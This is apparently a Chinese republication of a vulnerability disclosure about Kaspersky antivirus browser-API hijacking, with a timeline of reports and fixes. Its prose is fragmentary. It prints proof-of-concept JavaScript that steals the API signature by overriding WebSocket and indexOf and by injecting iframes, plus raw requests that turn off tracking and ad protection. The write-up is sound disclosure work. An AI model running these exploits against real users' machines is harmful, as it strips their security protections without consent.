一年三番五次修,卡巴斯基为何依然无法完美修复杀毒软件中的这些洞 (技术详情)?
概述
问题为何如此复杂?
卡巴斯基的解决方案
提取秘密
fetch(location.href).then(response => response.text()).then(text =>
{
let match = /<script\b[^>]*src="([^"]+kaspersky[^"]+\/main.js)"/.exec(text);
if (!match)
return;
let origWebSocket = WebSocket;
WebSocket = function(url)
{
let prefix = url.replace(/(-labs\.com\/).*/, "$1");
let signature = /-labs\.com\/([^\/]+)/.exec(url)[1];
alert(`Kaspersky API available under ${prefix}, signature is ${signature}`);
};
WebSocket.prototype = origWebSocket.prototype;
let script = document.createElement("script");
script.src = match[1];
document.body.appendChild(script);
});
let origIndexOf = String.prototype.indexOf;
String.prototype.indexOf = function(...args)
{
let ns = arguments.callee.caller.arguments[0];
if (ns && ns.SIGNATURE)
alert(`Kaspersky API available under ${ns.PREFIX}, signature is ${ns.SIGNATURE}`);
return origIndexOf.apply(this, args);
};
<h3 class="r"><a href="https://example.com/">safe</a></h3>
function SendToFrame(args)
{
m_balloon.contentWindow.postMessage(ns.JSONStringify(args), "*");
}
let onMessage = function(event)
{
alert(`Kaspersky API available under ${JSON.parse(event.data).commandUrl}`);
};
let frameSource = `<script>window.onmessage = ${onMessage}<\/script>`;
let observer = new MutationObserver(list =>
{
for (let mutation of list)
{
if (!mutation.addedNodes || !mutation.addedNodes.length)
continue;
let node = mutation.addedNodes[0];
if (node.localName == "img")
node.dispatchEvent(new MouseEvent("mouseover"));
else if (node.localName == "iframe")
node.src = "data:text/html," + encodeURIComponent(frameSource);
}
});
observer.observe(document, {childList: true, subtree: true});
破坏
https://ff.kis.v2.scr.kaspersky-labs.com/<SIGNATURE>/init?url=https://www.google.com/
这样的地址初始化会话。这里的前缀 “ff” 是火狐浏览器特有的,在 Chrome、Edge和 IE 浏览器中,它就是 gc、me和ie。我们声明是在https://www.google.com/中被注入的脚本,不过这其实也没啥关系。我们从响应中得到很多 JSON 数据:POST /14B5494F-B7D9-3144-8889-C542E89DC9EC/E039014D-D6B8-1C40-82CA-4670F4165F27/to/light_popup.connect HTTP/1.1
Host: ff.kis.v2.scr.kaspersky-labs.com
Content-Length: 60
{"result":0,"method":"light_popup.connect","parameters":[1]}
POST /14B5494F-B7D9-3144-8889-C542E89DC9EC/E039014D-D6B8-1C40-82CA-4670F4165F27/to/light_popup.command HTTP/1.1
Host: ff.kis.v2.scr.kaspersky-labs.com
Content-Length: 86
{"result":0,"method":"light_popup.command","parameters":["dnt","EnableDntTask",false]}
["ab","EnableAntiBannerTask", false]
具有类似的广告拦截禁用功能。真的都修复了吗?
当连接到 API 时,脚本无法声明来自任何 URL——该应用程序现在验证 URL 是否和 Origin HTTP 头部匹配。而这种检查只有在 Origin 头部丢失、IE 浏览器中的 origin 是null或者火狐浏览器中是 moz-extension:// 时,才会绕过。
Light_popup 插件所提供的命令(具体是指启用/禁用广告拦截和追踪防护功能)现在仅向来自 about: blank、moz-extension:// 和 chrome-extension (它们分别是 IE、火狐和 Chrome 扩展中的扩展弹出消息)的脚本开放。
第二轮修复
结论
2018-12-21: 通过卡巴斯基漏洞奖励计划提交三分关于 API 劫持的漏洞报告:分别影响注入脚本、IE 扩展和 Chrome/火狐浏览器扩展。
2018-12-24: 卡巴斯基确认漏洞存在并表示正在着手修复。
2019-07-29: 卡巴斯基将问题标注为“已解决”。
2019-07-29: 请求公开漏洞报告。
2019-08-05: 卡巴斯基拒绝披露请求,指出用户需要时间来更新老旧版本后来讨论决定将“11月左右”作为最终披露时间。
2019-08-19: 向卡巴斯基发送了另外两份报告:内部 API 仍然可被网页访问且它仍然泄露信息,而传递不合法的 URL 可能会引发拒绝服务攻击。披露最后期限定在2019年11月25日。
2019-08-19: 通知卡巴斯基称我计划在11月25日发布博客文章。
2019-08-19: 卡巴斯基表示已经收到新报告,承诺在完成首次分析后进一步沟通(但未兑现)。
2019-08-23:我跟进邮件表示内部 API 仍然可被以多种方式滥用,如操纵广告拦截配置等方法。
2019-11-07: 卡巴斯基通知我称问题已经在2019(Patch I)和2020 (PatchE)家族产品中解决。
2019-11-15: 我评估修复方案后告知卡巴斯基崩溃修复方案并不完整。
2019-11-20: 卡巴斯基表示将在未来几天内提供完整的崩溃修复方案,应该会在11月28日完成。
McAfee 杀毒软件被曝严重的不明代码执行漏洞,影响所有版本
文内图:本博客
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。